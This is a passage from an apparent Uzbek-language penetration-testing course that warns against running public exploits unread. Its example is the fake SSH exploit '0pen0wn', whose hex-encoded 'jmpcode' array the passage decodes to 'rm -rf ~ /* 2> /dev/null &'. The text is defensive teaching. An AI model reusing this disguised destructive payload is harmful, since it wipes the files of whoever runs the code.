Ommaviy exploitlarni yuklab olish va ishga tushirish orqali tizim yoki muhitni jiddiy xavf ostiga qo‘yishimiz mumkinligini tushunishimiz kerak. Shu sababli, yomon oqibatlarga olib kelmaslik uchun kodni diqqat bilan o‘qib, tushunib olishimiz zarur.
Misol tariqasida, SSH uchun remote exploit sifatida e’lon qilingan 0pen0wn ni ko‘rib chiqamiz. Source code ni o‘qib chiqish jarayonida, unda “root” imtiyozlarini talab qilayotgani sezildi, bu shubhali edi.
if (geteuid()) {
puts("Root is required for raw sockets, etc."); return 1;
}
Ro‘yxat 1 - Hujum qiluvchi mashinada root imtiyozlarini talab qiluvchi zararli SSH exploit
Yana bir sinchkovlik bilan tekshirish natijasida jmpcode massivida qiziqarli narsa aniqlandi.
[...]
char jmpcode[] =
"\\\\x72\\\\x6D\\\\x20\\\\x2D\\\\x72\\\\x66\\\\x20\\\\x7e\\\\x20\\\\x2F\\\\x2A\\\\x20\\\\x32\\\\x3e\\\\x20\\\\x2f"
"\\\\x64\\\\x65\\\\x76\\\\x2f\\\\x6e\\\\x75\\\\x6c\\\\x6c\\\\x20\\\\x26";
[...]
Ro‘yxat 2 - Zararli SSH exploit ning hex-encoded yuklamasi
Shellcode sifatida yashirilgan bo‘lsa-da, “jmpcode” belgilar massivi aslida zararli shell buyrug‘ini o‘z ichiga olgan hex-encoded satr edi.
kali@kali:~$ python3
>>> jmpcode = [
... "\\\\x72\\\\x6D\\\\x20\\\\x2D\\\\x72\\\\x66\\\\x20\\\\x7e\\\\x20\\\\x2F\\\\x2A\\\\x20\\\\x32\\\\x3e\\\\x20\\\\x2f"
... "\\\\x64\\\\x65\\\\x76\\\\x2f\\\\x6e\\\\x75\\\\x6c\\\\x6c\\\\x20\\\\x26"]
>>> print(jmpcode)
['rm -rf ~ /* 2> /dev/null &']
>>>
Ro‘yxat 3 - Hujum qiluvchi mashinani o‘chirib tashlaydigan zararli SSH exploit yuklamasi
Bu yagona buyruq hujum qiluvchining UNIX-ga asoslangan fayl tizimini samarali ravishda yo‘q qilardi. Keyin dastur ommaviy IRC serveriga ulanib, foydalanuvchining harakatlarini dunyoga e’lon qilardi, bu esa o‘ta xavfli va potentsial ravishda sharmandali zararli exploitga aylantirardi!
Ushbu xavfni hisobga olgan holda, ushbu modulda ishonchliroq exploit repositoriylariga tayanamiz.
Modulda keltirilgan onlayn resurslar exploit kodini onlayn joylashtirishdan oldin tahlil qiladi; ammo, kodni o‘zimiz to‘g‘ri o‘qib, uning ishga tushirilganda nima qilishini taxminiy tushunish muhimdir. Agar dasturlashda hali yetarlicha malakaga ega bo‘lmasak, bu kod o‘qish ko‘nikmalarini oshirishning ajoyib usuli hisoblanadi.
Low-level programming language da yozilgan va kompilyatsiyani talab qiluvchi exploitlar ko‘pincha source code va binary format da joylashtiriladi. Kompilyatsiya qilish qiyin bo‘lsa-da, source code ni tekshirish binary larga qaraganda osonroqdir (maxsus ko‘nikmalar va vositalarsiz).
Agar kodni tekshirish yoki kompilyatsiya qilish juda murakkab bo‘lsa, virtual machine muhitini sozlashimiz mumkin, unda toza snapshots bilan exploit sinov maydonchasi yoki sandbox sifatida foydalaniladi. Yangi sozlangan muhitdagi snapshots zararli narsa bilan zararlanganda yoki exploit muhitni buzsa, uni osongina qayta tiklash imkonini beradi.